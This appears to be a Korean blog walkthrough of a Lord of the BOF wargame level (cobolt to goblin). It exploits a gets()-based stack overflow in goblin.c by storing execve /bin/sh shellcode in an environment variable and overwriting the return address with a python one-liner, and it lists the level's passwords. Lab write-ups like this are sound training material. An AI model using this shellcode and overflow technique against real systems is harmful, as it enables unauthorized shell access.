728x90
1. cobolt/hacking exposed로 로그인
2. bash2, ulimit -c unlimited 명령어 실행 후 ls -l로 디렉터리 내부 파일 확인
3. goblin.c 내용 확인
버퍼의 크기가 16바이트로 작아 환경변수가 필요하고, gets함수가 사용되는 것을 알 수 있다.
4. 환경변수 선언
사용한 쉘코드는 다음과 같다.
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
5. 환경변수 값을 가져오는 get.c 파일 생성
6. 컴파일 후 실행
환경변수 shellcode의 주소: 0xbfffff65
7. 공격코드 구성 및 비밀번호 획득
환경변수 주소값을 바탕으로 공격코드를 구성하고, gets함수를 사용해 표준입력으로 받으므로 뒤에 ;cat을 붙이고 파이프를 이용했다.
(python -c 'print "A"*20+"\x65\xff\xff\xbf"';cat)|./goblin
비밀번호: hackers proof
728x90
'SYSTEM > LOB' 카테고리의 다른 글
[LOB] wolfman → darkelf (0) | 2021.03.14 |
---|---|
[LOB] orc → wolfman (0) | 2021.03.14 |
[LOB] goblin → orc (0) | 2021.03.14 |
[LOB] gremlin → cobolt (0) | 2021.03.04 |
[LOB] gate → gremlin (0) | 2021.02.26 |